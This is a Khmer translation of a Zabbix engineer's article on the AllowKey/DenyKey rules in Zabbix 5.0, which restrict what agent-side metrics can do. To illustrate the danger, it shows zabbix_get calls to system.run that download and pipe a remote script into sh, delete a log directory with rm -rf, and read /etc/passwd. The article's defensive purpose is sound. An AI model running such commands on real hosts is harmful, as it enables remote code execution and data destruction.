បញ្ជីខ្មៅ និងបញ្ជីសគាំទ្រសម្រាប់រង្វាស់ខាងភ្នាក់ងារនៅក្នុង Zabbix 5.0

បញ្ជីខ្មៅ និងបញ្ជីសគាំទ្រសម្រាប់រង្វាស់ខាងភ្នាក់ងារ

Tikhon Uskov, វិស្វកររួមបញ្ចូលគ្នា , Zabbix

បញ្ហាសុវត្ថិភាពទិន្នន័យ

Zabbix 5.0 មានមុខងារថ្មីដែលអនុញ្ញាតឱ្យអ្នកធ្វើឱ្យប្រសើរឡើងនូវសុវត្ថិភាពនៅក្នុងប្រព័ន្ធដោយប្រើ Zabbix Agent និងជំនួសប៉ារ៉ាម៉ែត្រចាស់។ បើកដំណើរការបញ្ជាពីចម្ងាយ.

ការកែលម្អសុវត្ថិភាពនៃប្រព័ន្ធផ្អែកលើភ្នាក់ងារ កើតចេញពីការពិតដែលថាភ្នាក់ងារអាចធ្វើសកម្មភាពមួយចំនួនធំដែលអាចមានគ្រោះថ្នាក់។

• ភ្នាក់ងារអាចប្រមូលព័ត៌មានស្ទើរតែទាំងអស់ រួមទាំងព័ត៌មានសម្ងាត់ ឬព័ត៌មានដែលអាចមានគ្រោះថ្នាក់ ពីឯកសារកំណត់រចនាសម្ព័ន្ធ ឯកសារកំណត់ហេតុ ឯកសារពាក្យសម្ងាត់ ឬឯកសារផ្សេងៗទៀត។

ឧទាហរណ៍ ដោយប្រើឧបករណ៍ប្រើប្រាស់ zabbix_get អ្នកអាចចូលប្រើបញ្ជីអ្នកប្រើប្រាស់ ថតផ្ទះ ឯកសារពាក្យសម្ងាត់។ល។

ការចូលប្រើទិន្នន័យដោយប្រើឧបករណ៍ប្រើប្រាស់ zabbix_get

ចំណាំ។. ទិន្នន័យអាចទាញយកបានលុះត្រាតែភ្នាក់ងារមានសិទ្ធិអាននៅលើឯកសារដែលត្រូវគ្នា។. ប៉ុន្តែឧទាហរណ៍ឯកសារ /etc/passwd/ អាចអានបានដោយអ្នកប្រើប្រាស់ទាំងអស់។

• ភ្នាក់ងារក៏អាចប្រតិបត្តិពាក្យបញ្ជាដែលអាចមានគ្រោះថ្នាក់ផងដែរ។ ឧទាហរណ៍ គន្លឹះ *system.run[]** អនុញ្ញាតឱ្យអ្នកប្រតិបត្តិពាក្យបញ្ជាពីចម្ងាយណាមួយនៅលើថ្នាំងបណ្តាញ រួមទាំងការដំណើរការស្គ្រីបពីចំណុចប្រទាក់គេហទំព័រ Zabbix ដែលប្រតិបត្តិពាក្យបញ្ជានៅលើផ្នែកភ្នាក់ងារផងដែរ។

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• នៅលើលីនុច ភ្នាក់ងារដំណើរការតាមលំនាំដើមដោយគ្មានសិទ្ធិជា root ខណៈពេលដែលនៅលើ Windows វាដំណើរការជាសេវាកម្មជាប្រព័ន្ធ និងមានការចូលប្រើប្រព័ន្ធឯកសារដែលមិនមានការរឹតបន្តឹង។ ដូច្នោះហើយ ប្រសិនបើគ្មានការផ្លាស់ប្តូរណាមួយត្រូវបានធ្វើឡើងចំពោះប៉ារ៉ាម៉ែត្រភ្នាក់ងារ Zabbix បន្ទាប់ពីការដំឡើង ភ្នាក់ងារមានសិទ្ធិចូលទៅកាន់បញ្ជីឈ្មោះ ប្រព័ន្ធឯកសារ និងអាចប្រតិបត្តិសំណួរ WMI ។

នៅក្នុងកំណែមុនប៉ារ៉ាម៉ែត្រ បើក RemoteCommands=0 អនុញ្ញាតឱ្យបិទម៉ែត្រដោយប្រើសោ *system.run[]** និងដំណើរការស្គ្រីបពីចំណុចប្រទាក់គេហទំព័រ ប៉ុន្តែមិនមានវិធីដាក់កម្រិតការចូលប្រើឯកសារនីមួយៗ អនុញ្ញាត ឬបិទសោនីមួយៗដែលត្រូវបានដំឡើងជាមួយភ្នាក់ងារ ឬកំណត់ការប្រើប្រាស់ប៉ារ៉ាម៉ែត្របុគ្គលនោះទេ។

ដោយប្រើប៉ារ៉ាម៉ែត្រ EnableRemoteCommand នៅក្នុងកំណែមុនរបស់ Zabbix

AllowKey/DenyKey

Zabbix 5.0 ជួយការពារប្រឆាំងនឹងការចូលប្រើដែលគ្មានការអនុញ្ញាតបែបនេះ ដោយផ្តល់នូវបញ្ជីស និងបញ្ជីខ្មៅសម្រាប់ការអនុញ្ញាត និងបដិសេធម៉ែត្រនៅខាងភ្នាក់ងារ។

នៅក្នុង Zabbix 5.0 គ្រាប់ចុចទាំងអស់ រួមទាំង *system.run[]** ត្រូវបានបើក ហើយជម្រើសកំណត់រចនាសម្ព័ន្ធភ្នាក់ងារថ្មីពីរត្រូវបានបន្ថែម៖

AllowKey= - ការត្រួតពិនិត្យដែលបានអនុញ្ញាត;

DenyKey= - ការត្រួតពិនិត្យហាមឃាត់;

ដែល​ជា​គំរូ​ឈ្មោះ​គន្លឹះ​ដែល​មាន​ប៉ារ៉ាម៉ែត្រ​ដែល​ប្រើ​តួអក្សរ​មេតា (*)។

គ្រាប់ចុច AllowKey និង DenyKey អនុញ្ញាតឱ្យអ្នកអនុញ្ញាត ឬបដិសេធម៉ែត្រនីមួយៗដោយផ្អែកលើលំនាំជាក់លាក់មួយ។ មិនដូចប៉ារ៉ាម៉ែត្រកំណត់រចនាសម្ព័ន្ធផ្សេងទៀត ចំនួននៃប៉ារ៉ាម៉ែត្រ AllowKey/DenyKey មិនត្រូវបានកំណត់ទេ។ នេះអនុញ្ញាតឱ្យអ្នកកំណត់យ៉ាងច្បាស់នូវអ្វីដែលភ្នាក់ងារអាចធ្វើបាននៅក្នុងប្រព័ន្ធដោយបង្កើតមែកធាងនៃការត្រួតពិនិត្យ - គ្រាប់ចុចដែលអាចប្រតិបត្តិបាន ដែលលំដាប់ដែលពួកគេត្រូវបានសរសេរដើរតួនាទីយ៉ាងសំខាន់។

លំដាប់នៃច្បាប់

ច្បាប់ត្រូវបានពិនិត្យតាមលំដាប់ដែលពួកវាត្រូវបានបញ្ចូលទៅក្នុងឯកសារកំណត់រចនាសម្ព័ន្ធ។ គ្រាប់ចុចត្រូវបានត្រួតពិនិត្យដោយយោងទៅតាមច្បាប់មុនការប្រកួតដំបូង ហើយដរាបណាគន្លឹះនៃធាតុទិន្នន័យត្រូវគ្នានឹងគំរូ វាត្រូវបានអនុញ្ញាត ឬបដិសេធ។ បន្ទាប់ពីនេះ ការត្រួតពិនិត្យច្បាប់ឈប់ ហើយសោដែលនៅសល់មិនត្រូវបានអើពើ។

ដូច្នេះ ប្រសិនបើធាតុមួយត្រូវគ្នានឹងច្បាប់អនុញ្ញាត និងបដិសេធ នោះលទ្ធផលនឹងអាស្រ័យលើច្បាប់មួយណាមុនគេនៅក្នុងឯកសារកំណត់រចនាសម្ព័ន្ធ។

2 ច្បាប់ផ្សេងគ្នាដែលមានលំនាំដូចគ្នា និងគន្លឹះមួយ។ vfs.file.size[/tmp/file]

លំដាប់នៃការប្រើប្រាស់គ្រាប់ចុច AllowKey/DenyKey៖

1. ច្បាប់ពិតប្រាកដ,
2. ច្បាប់ទូទៅ,
3. ច្បាប់ហាមឃាត់។

ឧទាហរណ៍ ប្រសិនបើអ្នកត្រូវការចូលប្រើឯកសារនៅក្នុងថតជាក់លាក់មួយ អ្នកត្រូវតែអនុញ្ញាតឱ្យចូលប្រើពួកវាជាមុនសិន ហើយបន្ទាប់មកបដិសេធអ្វីៗផ្សេងទៀតដែលមិនស្ថិតក្នុងការអនុញ្ញាតដែលបានបង្កើតឡើង។ ប្រសិនបើច្បាប់បដិសេធត្រូវបានប្រើជាដំបូង ការចូលទៅកាន់ថតនឹងត្រូវបានបដិសេធ។

លំដាប់ត្រឹមត្រូវ។

ប្រសិនបើអ្នកត្រូវការអនុញ្ញាតឱ្យឧបករណ៍ប្រើប្រាស់ចំនួន 2 ដំណើរការតាមរយៈ *system.run[]** ហើយច្បាប់បដិសេធនឹងត្រូវបានបញ្ជាក់ជាមុន ឧបករណ៍ប្រើប្រាស់នឹងមិនត្រូវបានដាក់ឱ្យដំណើរការទេ ពីព្រោះលំនាំដំបូងនឹងតែងតែត្រូវគ្នានឹងគន្លឹះណាមួយ ហើយច្បាប់បន្តបន្ទាប់នឹងត្រូវមិនអើពើ។

លំដាប់ខុស

លំនាំ

ច្បាប់ជាមូលដ្ឋាន

លំនាំគឺជាកន្សោមដែលមានអក្សរជំនួស។ តួអក្សរមេតា (*) ត្រូវនឹងចំនួនតួអក្សរណាមួយនៅទីតាំងជាក់លាក់មួយ។ Metacharacters អាចត្រូវបានប្រើទាំងនៅក្នុងឈ្មោះគន្លឹះ និងក្នុងប៉ារ៉ាម៉ែត្រ។ ជាឧទាហរណ៍ អ្នកអាចកំណត់យ៉ាងតឹងរឹងនូវប៉ារ៉ាម៉ែត្រទីមួយជាមួយនឹងអត្ថបទ ហើយបញ្ជាក់បន្ទាប់បន្សំជាអក្សរជំនួស.

ប៉ារ៉ាម៉ែត្រត្រូវតែត្រូវបានរុំព័ទ្ធក្នុងតង្កៀបការ៉េ [] ។

• system.run[* - មិន​ត្រឹមត្រូវ
• vfs.file*.txt] - មិន​ត្រឹមត្រូវ
• vfs.file.*[*] - ត្រូវហើយ។

ឧទាហរណ៍នៃការប្រើប្រាស់អក្សរជំនួស។

1. នៅក្នុងឈ្មោះគន្លឹះនិងនៅក្នុងប៉ារ៉ាម៉ែត្រ។ ក្នុងករណីនេះ សោមិនត្រូវគ្នានឹងកូនសោស្រដៀងគ្នាដែលមិនមានប៉ារ៉ាម៉ែត្រទេ ចាប់តាំងពីក្នុងលំនាំដែលយើងបានបង្ហាញថាយើងចង់ទទួលបានការបញ្ចប់ជាក់លាក់នៃឈ្មោះគន្លឹះ និងសំណុំប៉ារ៉ាម៉ែត្រជាក់លាក់មួយ។
2. ប្រសិនបើលំនាំមិនប្រើតង្កៀបការ៉េទេ លំនាំអនុញ្ញាតឱ្យគ្រាប់ចុចទាំងអស់ដែលមិនមានប៉ារ៉ាម៉ែត្រ និងបដិសេធគ្រាប់ចុចទាំងអស់ដែលមានប៉ារ៉ាម៉ែត្រដែលបានបញ្ជាក់។
3. ប្រសិនបើសោត្រូវបានសរសេរពេញ ហើយប៉ារ៉ាម៉ែត្រត្រូវបានបញ្ជាក់ជាអក្សរជំនួស វានឹងផ្គូផ្គងកូនសោស្រដៀងគ្នាជាមួយប៉ារ៉ាម៉ែត្រណាមួយ ហើយនឹងមិនផ្គូផ្គងសោដោយគ្មានតង្កៀបការ៉េ ពោលគឺវានឹងត្រូវបានអនុញ្ញាត ឬបដិសេធ។

ច្បាប់សម្រាប់ការបំពេញប៉ារ៉ាម៉ែត្រ។

• ប្រសិនបើសោដែលមានប៉ារ៉ាម៉ែត្រមានបំណងប្រើ ប៉ារ៉ាម៉ែត្រត្រូវតែបញ្ជាក់នៅក្នុងឯកសារកំណត់រចនាសម្ព័ន្ធ។ ប៉ារ៉ាម៉ែត្រត្រូវតែបញ្ជាក់ជាតួអក្សរមេតា។ វាចាំបាច់ក្នុងការបដិសេធដោយប្រុងប្រយ័ត្ននូវការចូលប្រើឯកសារណាមួយ ហើយគិតគូរអំពីព័ត៌មានដែលម៉ែត្រអាចផ្តល់នៅក្រោមអក្ខរាវិរុទ្ធផ្សេងៗគ្នា - ដោយមាន និងគ្មានប៉ារ៉ាម៉ែត្រ។

លក្ខណៈពិសេសនៃការសរសេរសោជាមួយប៉ារ៉ាម៉ែត្រ

• ប្រសិនបើសោត្រូវបានបញ្ជាក់ជាមួយប៉ារ៉ាម៉ែត្រ ប៉ុន្តែប៉ារ៉ាម៉ែត្រគឺស្រេចចិត្ត និងបញ្ជាក់ជាតួអក្សរមេតា នោះសោដែលគ្មានប៉ារ៉ាម៉ែត្រនឹងត្រូវបានដោះស្រាយ។ ឧទាហរណ៍ ប្រសិនបើអ្នកចង់បិទការទទួលព័ត៌មានអំពីការផ្ទុកនៅលើស៊ីភីយូ ហើយបញ្ជាក់ថាសោ system.cpu.load[*] គួរតែត្រូវបានបិទ កុំភ្លេចថាសោដែលគ្មានប៉ារ៉ាម៉ែត្រនឹងត្រឡប់តម្លៃផ្ទុកជាមធ្យម។

ច្បាប់សម្រាប់ការបំពេញប៉ារ៉ាម៉ែត្រ

កំណត់ចំណាំ។

ការលៃតម្រូវ

• ច្បាប់មួយចំនួនមិនអាចផ្លាស់ប្តូរដោយអ្នកប្រើប្រាស់បានទេ ឧទាហរណ៍ ច្បាប់នៃការរកឃើញ ឬច្បាប់នៃការចុះឈ្មោះដោយស្វ័យប្រវត្តិរបស់ភ្នាក់ងារ។ ច្បាប់ AllowKey/DenyKey មិនប៉ះពាល់ដល់ប៉ារ៉ាម៉ែត្រខាងក្រោមទេ៖
  - ឈ្មោះម៉ាស៊ីន
  - HostMetadataItem
  - HostInterfaceItem

ចំណាំ។. ប្រសិនបើអ្នកគ្រប់គ្រងបិទសោ នៅពេលដែលត្រូវបានសួរ Zabbix មិនផ្តល់ព័ត៌មានអំពីមូលហេតុដែលម៉ែត្រ ឬសោធ្លាក់ចូលទៅក្នុងប្រភេទ 'មិន​គាំទ្រ' ព័ត៌មានអំពីការហាមឃាត់លើការប្រតិបត្តិពាក្យបញ្ជាពីចម្ងាយក៏មិនត្រូវបានបង្ហាញនៅក្នុងឯកសារកំណត់ហេតុភ្នាក់ងារដែរ។ នេះគឺសម្រាប់ហេតុផលសុវត្ថិភាព ប៉ុន្តែអាចធ្វើឱ្យមានភាពស្មុគស្មាញដល់ការកែកំហុស ប្រសិនបើម៉ែត្រធ្លាក់ចូលទៅក្នុងប្រភេទដែលមិនគាំទ្រសម្រាប់ហេតុផលមួយចំនួន.

• អ្នកមិនគួរពឹងផ្អែកលើលំដាប់ជាក់លាក់ណាមួយសម្រាប់ភ្ជាប់ឯកសារកំណត់រចនាសម្ព័ន្ធខាងក្រៅ (ឧទាហរណ៍ តាមលំដាប់អក្ខរក្រម)។

ឧបករណ៍ប្រើប្រាស់បន្ទាត់ពាក្យបញ្ជា

បន្ទាប់ពីបង្កើតច្បាប់ អ្នកត្រូវប្រាកដថាអ្វីៗទាំងអស់ត្រូវបានកំណត់យ៉ាងត្រឹមត្រូវ។

អ្នកអាចប្រើជម្រើសមួយក្នុងចំណោមជម្រើសទាំងបី៖

• បន្ថែមម៉ែត្រទៅ Zabbix ។
• សាកល្បងជាមួយ zabbix_agentd. ភ្នាក់ងារ Zabbix ជាមួយជម្រើស - បោះពុម្ព (-p) បង្ហាញកូនសោទាំងអស់ (ដែលត្រូវបានអនុញ្ញាតតាមលំនាំដើម) លើកលែងតែគ្រាប់ចុចដែលមិនត្រូវបានអនុញ្ញាតដោយការកំណត់។ ហើយជាមួយនឹងជម្រើស - តេស្ត (-t) សម្រាប់សោហាមឃាត់នឹងត្រឡប់ 'សោធាតុដែលមិនគាំទ្រ'។
• សាកល្បងជាមួយ zabbix_get. ឧបករណ៍ប្រើប្រាស់ zabbix_get ជាមួយនឹងជម្រើស -k និ​ឹ​ង​ត្រឡប់មកវិញ 'ZBX_NOTSUPPORTED៖ មិនស្គាល់ម៉ែត្រ'។

អនុញ្ញាត ឬបដិសេធ

អ្នកអាចបដិសេធការចូលប្រើឯកសារ និងផ្ទៀងផ្ទាត់ឧទាហរណ៍ដោយប្រើឧបករណ៍ប្រើប្រាស់ zabbix_getការចូលប្រើឯកសារត្រូវបានបដិសេធ។

**

ចំណាំ។. សម្រង់​ក្នុង​ប៉ារ៉ាម៉ែត្រ​មិន​ត្រូវ​បាន​អើពើ.

ក្នុងករណីនេះ ការចូលប្រើឯកសារបែបនេះអាចត្រូវបានអនុញ្ញាតតាមរយៈផ្លូវផ្សេង។ ឧទាហរណ៍ ប្រសិនបើ symlink នាំទៅរកវា។

វាត្រូវបានផ្ដល់អនុសាសន៍ឱ្យពិនិត្យមើលជម្រើសផ្សេងៗសម្រាប់ការអនុវត្តច្បាប់ដែលបានបញ្ជាក់ ហើយក៏ត្រូវគិតគូរពីលទ្ធភាពនៃការគេចចេញពីការហាមឃាត់ផងដែរ។

Вопросыиответы

សំណួររបស់អ្នក. ហេតុអ្វី​បាន​ជា​គំរូ​ស្មុគ្រស្មាញ​បែប​នេះ​ដែល​មាន​ភាសា​ផ្ទាល់​ខ្លួន​ត្រូវ​បាន​ជ្រើសរើស​ដើម្បី​ពិពណ៌នា​អំពី​ច្បាប់ ការ​អនុញ្ញាត និង​ការ​ហាមឃាត់? ហេតុអ្វីបានជាវាមិនអាចប្រើឧទាហរណ៍ កន្សោមធម្មតាដែល Zabbix ប្រើ?

ឆ្លើយតប. នេះគឺជាបញ្ហាដំណើរការ regex ចាប់តាំងពីជាធម្មតាមានភ្នាក់ងារតែមួយប៉ុណ្ណោះ ហើយវាពិនិត្យចំនួនម៉ែត្រដ៏ច្រើន។ Regex គឺជាប្រតិបត្តិការដ៏ធ្ងន់មួយ ហើយយើងមិនអាចពិនិត្យមើលម៉ែត្ររាប់ពាន់តាមវិធីនេះបានទេ។ អក្សរជំនួស - ជាដំណោះស្រាយសកល ប្រើយ៉ាងទូលំទូលាយ និងសាមញ្ញ.

សំណួររបស់អ្នក. មិនរួមបញ្ចូលឯកសារក្នុងលំដាប់អក្ខរក្រមទេ?

ឆ្លើយតប. តាមខ្ញុំដឹង វាស្ទើរតែមិនអាចទៅរួចទេក្នុងការទស្សន៍ទាយលំដាប់ដែលច្បាប់នឹងត្រូវបានអនុវត្ត ប្រសិនបើអ្នកផ្សព្វផ្សាយច្បាប់នៅលើឯកសារផ្សេងៗ។ ខ្ញុំសូមផ្តល់អនុសាសន៍ឱ្យប្រមូលច្បាប់ AllowKey/DenyKey ទាំងអស់នៅក្នុងឯកសាររួមបញ្ចូលមួយ ពីព្រោះពួកវាមានអន្តរកម្មគ្នាទៅវិញទៅមក និងរួមទាំងឯកសារនេះផងដែរ។.

សំណួររបស់អ្នក. នៅក្នុង Zabbix 5.0 ជម្រើស 'EnableRemoteCommands='បាត់ពីឯកសារកំណត់រចនាសម្ព័ន្ធ ហើយមានតែ AllowKey/DenyKey ទេ?

ចម្លើយ។ បាទ​វា​គឺ​ត្រឹមត្រូវ.

សូមពិនិត្យមើល!

ប្រភព: www.habr.com